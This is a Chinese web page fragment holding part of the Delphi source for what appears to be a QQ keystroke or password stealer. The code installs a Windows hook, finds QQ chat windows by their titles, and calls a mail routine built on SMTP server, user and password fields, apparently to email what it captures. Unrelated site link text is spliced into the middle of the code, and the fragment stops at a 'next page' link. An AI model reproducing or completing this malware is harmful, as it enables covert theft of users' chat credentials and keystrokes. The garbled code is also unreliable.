感谢 sforever 提供帮助
hhook: integer; 【程序编程相关:static、this、super、fi】 hookkey: string; 【推荐阅读:工作流xml部分的定义格式】 ahwnd,comboboxh:thandle; //句柄 【扩展信息:static、this、super、fi】 creeper,creeper1:textfile; qqformid:hwnd; user:array[0..254] of char; sendbody:string; psmtp,puser,ppass,pgetmail,ptomail,subject,mailtext:string;implementation//找qq聊天窗口function fpopoid(ahwnd:hwnd;w:integer):boolean;stdcall; var wintext:pchar; begin result:=true; getmem(wintext,100); getwindowtext(ahwnd,wintext,100); if pos(´与´,wintext)>0 then begin trysendmail; sleep(100); unhookwindowshookex(hhook); hhook := 0; application.terminate; end;end;... 下一页